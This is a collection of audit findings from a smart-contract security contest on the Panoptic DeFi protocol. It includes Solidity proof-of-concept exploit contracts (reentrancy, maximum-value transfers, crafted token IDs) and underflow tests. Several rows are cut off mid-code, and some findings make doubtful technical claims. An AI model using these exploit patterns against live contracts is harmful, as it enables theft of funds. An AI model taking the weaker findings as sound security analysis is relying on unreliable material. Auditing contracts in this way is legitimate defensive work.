xanoutas/solidity-security-findings huggingface dataset:
The subtraction in function getAmount0ForLiquidity and getAmount1ForLiquidity will trigger an arithmetic underflow.
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/Math.sol#L110
https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/Math.sol#L126


# Vulnerability details

## Impact
The subtraction in function [getAmount0ForLiquidity](https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/Math.sol#L110) and [getAmount1ForLiquidity](https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/Math.sol#L126) will trigger an arithmetic underflow whenever lowPriceX96 is smaller than highPriceX96, causing these functions to revert until this ratio comes back in range and the math no longer overflows.

Such price conditions are not only possible but also likely to happen in real market conditions, and they can be permanent (i.e. one asset permanently appreciating over the other one).

The root cause of this issue is that the [Math.sol](https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/libraries/Math.sol) library, imported from [UniswapV3](https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/FullMath.sol) was altered to build with solidity v0.8.x, which has under/overflow protection; the library, however, makes use of these by design, so it won't work properly when compiled in v0.8.0 or later:


```
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {}
```

NOTE: function getAmount0ForLiquidity and getAmount1ForLiquidity is different from function getLiquidityForAmount0 and getLiquidityForAmount1.

## Proof of Concept
Here is a poc to proof my findings. Run forge test to test. 
The tests will demonstrate the arithmetic underflow.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {MathHarness} from "./harnesses/MathHarness.sol";
import {Errors} from "@libraries/Errors.sol";
import {LiquidityChunk} from "@types/LiquidityChunk.sol";
import {LiquidityAmounts} from "v3-periphery/libraries/LiquidityAmounts.sol";
import {TickMath} from "v3-core/libraries/TickMath.sol";
import {FullMath} from "v3-core/libraries/FullMath.sol";
import "forge-std/Test.sol";

/**
 * Test the Core Math library using Foundry and Fuzzing.
 *
 * @author Axicon Labs Limited
 */
contract MathTest is Test {
    MathHarness harness;

    function setUp() public {
        harness = new MathHarness();
    }

    function testFail_getAmount0ForLiquidity(uint128 a) public {
        a = uint128(bound(a, uint128(1), uint128(2 ** 128 - 1)));
        uint256 uniV3Result = LiquidityAmounts.getAmount0ForLiquidity(
            TickMath.getSqrtRatioAtTick(int24(14)),
            TickMath.getSqrtRatioAtTick(int24(10)),
            a
        );

        uint256 chunk = LiquidityChunk.addLiquidity(uint256(0), a);
        chunk = L
function getLiquidityForAmount0 and getLiquidityForAmount1 will trigger an arithmetic underflow.
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/Math.sol#L135
https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/Math.sol#L154


# Vulnerability details

## Impact
function getLiquidityForAmount0 and getLiquidityForAmount1 will trigger an arithmetic underflow whenever lowPriceX96 is smaller than highPriceX96, causing these functions to revert until this ratio comes back in range and the math no longer overflows.

Such price conditions are not only possible but also likely to happen in real market conditions, and they can be permanent (i.e. one asset permanently appreciating over the other one).

The root cause of this issue is that the [Math.sol](https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/libraries/Math.sol) library, imported from [UniswapV3](https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/FullMath.sol) was altered to build with solidity v0.8.x, which has under/overflow protection; the library, however, makes use of these by design, so it won't work properly when compiled in v0.8.0 or later:


```
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {}
```

## Proof of Concept

Here's a poc to proof my findings. Note the values I used to achieve the underflow. (10 - (14));
Run forge test to test. The tests will display the arithmetic underflow.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {MathHarness} from "./harnesses/MathHarness.sol";
import {Errors} from "@libraries/Errors.sol";
import {LiquidityChunk} from "@types/LiquidityChunk.sol";
import {LiquidityAmounts} from "v3-periphery/libraries/LiquidityAmounts.sol";
import {TickMath} from "v3-core/libraries/TickMath.sol";
import {FullMath} from "v3-core/libraries/FullMath.sol";
import "forge-std/Test.sol";

/**
 * Test the Core Math library using Foundry and Fuzzing.
 *
 * @author Axicon Labs Limited
 */
contract MathTest is Test {
    MathHarness harness;

    function setUp() public {
        harness = new MathHarness();
    }

    function testFail_getLiquidityForAmount0(uint112 a) public {
        uint256 uniV3Result = LiquidityAmounts.getLiquidityForAmount0(
            TickMath.getSqrtRatioAtTick(int24(14)),
            TickMath.getSqrtRatioAtTick(int24(10)),
            a
        );

        uint256 chunk = LiquidityChunk.addLiquidity(uint256(0), 0);
        chunk = LiquidityChunk.addTickLower(chunk, int24(14));
        chunk = LiquidityChunk.addTickUpper(chunk, int24(10));

        uint256 returnedResult = harness.getLiquidityForAmount0(chunk, a);

        assertEq(uniV3Result, returnedResult);
    }

    function testFail_getLiquidityForAmount1(uint112 a) public {
        uint256 uniV3Result = LiquidityAmounts.getLiquidityForAmount1(
            TickMath.getSqrtRatioAtTick(int24(14)),
Function safeTransferFrom doesn't check that from != to
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/tokens/ERC1155Minimal.sol#L97
https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/tokens/ERC1155Minimal.sol#L135


# Vulnerability details

## Impact
Function safeTransferFrom doesn't check that from != to. The goal of function [safeTransferFrom](https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/tokens/ERC1155Minimal.sol#L97) and [safeBatchTransferFrom](https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/tokens/ERC1155Minimal.sol#L135) is to transfer a single token or multiple tokens from one user to another. However, there are no checks to ensure that from != to. If the "from" and "to" addresses are the same then the balance of "from" is overwritten by the balance of "to". This means the balance of "from" and "to" are increased and no balances are decreased, effectively printing money.


## Proof of Concept
```
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 amount,
        bytes calldata data
    ) public {
        if (!(msg.sender == from || isApprovedForAll[from][msg.sender])) revert NotAuthorized();

        balanceOf[from][id] -= amount;

        // balance will never overflow
        unchecked {
            balanceOf[to][id] += amount;
        }

        afterTokenTransfer(from, to, id, amount);

        emit TransferSingle(msg.sender, from, to, id, amount);

        if (to.code.length != 0) {
            if (
                ERC1155Holder(to).onERC1155Received(msg.sender, from, id, amount, data) !=
                ERC1155Holder.onERC1155Received.selector
            ) {
                revert UnsafeRecipient();
            }
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata amounts,
        bytes calldata data
    ) public virtual {
        if (!(msg.sender == from || isApprovedForAll[from][msg.sender])) revert NotAuthorized();

        // Storing these outside the loop saves ~15 gas per iteration.
        uint256 id;
        uint256 amount;

        for (uint256 i = 0; i < ids.length; ) {
            id = ids[i];
            amount = amounts[i];

            balanceOf[from][id] -= amount;

            // balance will never overflow
            unchecked {
                balanceOf[to][id] += amount;
            }

            // An array can't have a total length
            // larger than the max uint256 value.
            unchecked {
                ++i;
            }
        }

        afterTokenTransfer(from, to, ids, amounts);

        emit TransferBatch(msg.sender, from, to, ids, amounts);

        if (to.code.length != 0) {
            if (
                ERC1155Holder(to).onERC1155BatchReceived(ms
Unpacking of untrusted data in contracts/libraries/PanopticMath.sol
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/libraries/PanopticMath.sol#L82


# Vulnerability details

## Impact
Panoptic Math library, a potential vulnerability related to the unpacking of untrusted data was identified. Specifically, the getLiquidityChunk function unpacks the tokenId argument without validating its integrity. This could potentially allow an attacker to manipulate the tokenId and inject malicious code into the system.

Exploiting this vulnerability may lead to unauthorized manipulation of liquidity-related calculations in the Panoptic protocol. An attacker could potentially tamper with the tick range, liquidity amounts, or other parameters associated with the tokenId, resulting in unintended behavior and potential financial risks.


## Proof of Concept
o demonstrate the vulnerability in the getLiquidityChunk function, we need to create a Proof of Concept (PoC) that showcases how an attacker could potentially manipulate the tokenId and observe unintended behavior

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;

// Import the PanopticMath library
import {PanopticMath} from "./PanopticMath.sol";

contract PanopticMathExploit {
    // Function to exploit the getLiquidityChunk vulnerability
    function exploitGetLiquidityChunk() external pure returns (uint256) {
        // Crafted malicious tokenId with manipulated values
        uint256 maliciousTokenId = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;

        // Invoke getLiquidityChunk with the malicious tokenId
        uint256 result = PanopticMath.getLiquidityChunk(
            maliciousTokenId,
            0,  // Specify legIndex (can be 0, 1, 2, 3)
            0,  // Specify positionSize
            0   // Specify tickSpacing
        );

        // Return the result for observation
        return result;
    }
}


In this PoC, I created a PanopticMathExploit contract with a function called exploitGetLiquidityChunk. Inside this function, we set the maliciousTokenId to have manipulated values (all bits set to 1). When invoking the PanopticMath.getLiquidityChunk function with this malicious tokenId, it demonstrates the potential vulnerability in unpacking untrusted data.


## Recommended Mitigation Steps
It is recommended to implement proper input validation and integrity checks within the getLiquidityChunk function to ensure that the tokenId is valid and has not been tampered with by malicious actors.


## Assessed type

Other
Unchecked Math in contracts/tokens/ERC1155Minimal.sol
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/tokens/ERC1155Minimal.sol#L99
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/tokens/ERC1155Minimal.sol#L99


# Vulnerability details

## Impact
The ERC1155 contract employs unchecked math operations in the safeTransferFrom and safeBatchTransferFrom functions. While this design choice may enhance gas efficiency, it introduces the risk of potential overflows and unexpected behavior, especially when dealing with large values. An attacker exploiting this vulnerability could manipulate the calculations, potentially leading to unintended consequences and loss of funds


## Proof of Concept
Please replace 0xYourERC1155ContractAddress, 0xFromAddress, 0xToAddress, and 1 with the actual addresses and token ID from your contract.

This PoC aims to demonstrate the potential overflow by setting the amountToTransfer to the maximum value

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";

contract ExploitContract is ERC1155Holder {
    // Address of the ERC1155 contract to exploit
    IERC1155 public erc1155Contract = IERC1155(address(0xYourERC1155ContractAddress));

    // Function to perform the exploit
    function exploit() external {
        // Choose the parameters for the transfer
        address from = address(0xFromAddress);
        address to = address(0xToAddress);
        uint256 tokenId = 1; // Replace with the actual token ID
        uint256 amountToTransfer = type(uint256).max; // Max value to exploit unchecked math

        // Perform the unsafe transfer
        erc1155Contract.safeTransferFrom(from, to, tokenId, amountToTransfer, bytes(""));
    }
}


## Recommended Mitigation Steps
Implement a safe math library to perform arithmetic operations safely, avoiding overflows and underflows. OpenZeppelin provides a SafeMath library that you can include in your contract. Here's an example of how to use it:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}



## Assessed type

Math
Reentrancy Attack contracts/tokens/ERC1155Minimal.sol
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/tokens/ERC1155Minimal.sol#L90
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/tokens/ERC1155Minimal.sol#L128


# Vulnerability details

## Impact
Reentrancy: The safeTransferFrom and safeBatchTransferFrom functions are vulnerable to reentrancy attacks. This could allow a malicious recipient contract to steal tokens from the user.
The impact of this vulnerability is significant and can lead to the unauthorized transfer of tokens from users. An attacker could exploit the reentrancy vulnerability to repeatedly call these functions and manipulate the contract's state, resulting in potential token theft or manipulation of user balances.

## Proof of Concept

-Deploy both the ERC1155 contract and the MaliciousContract.
-Use the setApprovalForAll function in ERC1155 to approve the MaliciousContract to transfer tokens on behalf of a user.
-Call the maliciousTransfer function on the MaliciousContract, specifying the parameters for the safeTransferFrom function.

-This PoC demonstrates the reentrancy vulnerability by calling back into the ERC1155 contract after the initial transfer.


// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import { ERC1155 } from "./ERC1155.sol";

contract MaliciousContract {
    ERC1155 public erc1155Contract;
    bool private reentrancyAttackExecuted = false;

    constructor(address _erc1155Contract) {
        erc1155Contract = ERC1155(_erc1155Contract);
    }

    function maliciousTransfer(address from, address to, uint256 id, uint256 amount) external {
        // Call the ERC1155 safeTransferFrom function to trigger the vulnerability
        erc1155Contract.safeTransferFrom(from, to, id, amount, "");

        // Additional malicious actions after the reentrancy
        if (!reentrancyAttackExecuted) {
            // Perform the reentrancy attack
            reentrancyAttackExecuted = true;

            // Now you can manipulate the ERC1155 contract state or steal tokens
            // For example, calling back into the ERC1155 contract
            erc1155Contract.safeTransferFrom(to, address(this), id, amount, "");

            // Perform any other malicious actions here
        }
    }
}


## Tools Used

## Recommended Mitigation Steps
To address this vulnerability, you can use the reentrancyGuard pattern, which involves setting a boolean flag to block reentrant calls and then releasing it at the end of the function. Here's an example modification to the safeTransferFrom and safeBatchTransferFrom functions:

bool private _reentrancyLock = false;

modifier nonReentrant() {
    require(!_reentrancyLock, "Reentrant call detected");
    _reentrancyLock = true;
    _;
    _reentrancyLock = false;
}

function safeTransferFrom(
    address from,
    address to,
    uint256 id,
    uint256 amount,
    bytes calldata data
) public nonReentrant {
    // Existing code...

    // Release reentrancy lock
    _reen
UniswapV3 sqrtRatioLimit doesn't provide slippage protection and will result in partial swaps
Audit: 2023-11-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/SemiFungiblePositionManager.sol#L775


# Vulnerability details

## Impact
*sqrtRatioLimit* is used as slippage protection for the user but is ineffective and depending on what tokens are being swapped, tokens may be left the in the contract which can be stolen by anyone.
Incorrect slippage application can result in partial swaps and loss of funds

## Proof of Concept
In `PanopticMath::convert0to1` where we convert the **tokenType** based on long or short position the **tickimit** is used to set price limit of the particular token
https://github.com/code-423n4/2023-11-panoptic/blob/aa86461c9d6e60ef75ed5a1fe36a748b952c8666/contracts/libraries/PanopticMath.sol#L145
```
  int256 net0 = itm0 - PanopticMath.convert1to0(itm1, sqrtPriceX96);
```
The sqrtRatioLimit for UniV3 doesn't cause the swap to revert upon reaching that value. Instead it just cause the swap to partially fill, which fetches the price from the **slot0** 
It is used in `SemiFungiblePositionManager::swapinAMM()` for swapping
```
  if ((itm0 != 0) && (itm1 != 0)) {
                (uint160 sqrtPriceX96, , , , , , ) = _univ3pool.slot0(); 
```
This is a known issue with using **sqrtRatioLimit** as can be seen here where the swap ends prematurely when it has been reached. This is problematic as this is meant to provide the user with slippage protection but doesn't.


## Tools Used
VS Code

## Recommended Mitigation Steps
Check the amount received from the swap and compare it against some user supplied minimum


## Assessed type

Uniswap
Upgraded Q -> 2 from #581 [1703633976168]
Audit: 2023-11-panoptic-findings
Severity: MEDIUM

Judge has assessed an item in Issue #581 as 2 risk. The relevant finding follows:

 [L-08] Address Collision Risk in Callback Validation Logic**
Contract: CallbackLib.sol
The validateCallback function employs deterministic address computation to verify the authenticity of a Uniswap pool. This approach is based on the assumption that the address derived from the contract’s creation bytecode and the creator’s address is unique. However, this method is susceptible to address collision risks, where a different contract, under specific circumstances, might share the same computed address, leading to erroneous validation.

Suggested Fix:
Strengthen the validation logic by incorporating additional checks beyond address computation. This could involve maintaining a registry of verified pool addresses or introducing cryptographic verification methods that ensure the uniqueness and legitimacy of the pool beyond its address.

Code Snippet:
function validateCallback(
    address sender,
    address factory,
    PoolFeatures memory features
) internal pure {
    // existing logic to compute and compare addresses
    if (
        address(
            uint160(
                uint256(
                    keccak256(
                        abi.encodePacked(
                            bytes1(0xff),
                            factory,
                            keccak256(abi.encode(features)),
                            Constants.V3POOL_INIT_CODE_HASH
                        )
                    )
                )
            )
        ) != sender
    ) revert Errors.InvalidUniswapCallback();
}
Upgraded Q -> 2 from #271 [1702573017419]
Audit: 2023-11-panoptic-findings
Severity: MEDIUM

Judge has assessed an item in Issue #271 as 2 risk. The relevant finding follows:

 In SafeTransferLib contract, in the safeTransferFrom function, the from, to addresses are not masked. You can find more about it here: https://github.com/transmissions11/solmate/pull/347
Upgraded Q -> 2 from #581 [1702572385750]
Audit: 2023-11-panoptic-findings
Severity: MEDIUM

Judge has assessed an item in Issue #581 as 2 risk. The relevant finding follows:

 [L-08] Address Collision Risk in Callback Validation Logic**
Contract: CallbackLib.sol
The validateCallback function employs deterministic address computation to verify the authenticity of a Uniswap pool. This approach is based on the assumption that the address derived from the contract’s creation bytecode and the creator’s address is unique. However, this method is susceptible to address collision risks, where a different contract, under specific circumstances, might share the same computed address, leading to erroneous validation.

Suggested Fix:
Strengthen the validation logic by incorporating additional checks beyond address computation. This could involve maintaining a registry of verified pool addresses or introducing cryptographic verification methods that ensure the uniqueness and legitimacy of the pool beyond its address.

Code Snippet:
function validateCallback(
    address sender,
    address factory,
    PoolFeatures memory features
) internal pure {
    // existing logic to compute and compare addresses
    if (
        address(
            uint160(
                uint256(
                    keccak256(
                        abi.encodePacked(
                            bytes1(0xff),
                            factory,
                            keccak256(abi.encode(features)),
                            Constants.V3POOL_INIT_CODE_HASH
                        )
                    )
                )
            )
        ) != sender
    ) revert Errors.InvalidUniswapCallback();
}
Upgraded Q -> 2 from #625 [1702572208860]
Audit: 2023-11-panoptic-findings
Severity: MEDIUM

Judge has assessed an item in Issue #625 as 2 risk. The relevant finding follows:

 [03] Denial of tokenTransfers by frontRunning
Related to issue [2], a transfer of tokens can be denied by frontrunning, since registerTransfer revert if the positionKey_to already has liquidy.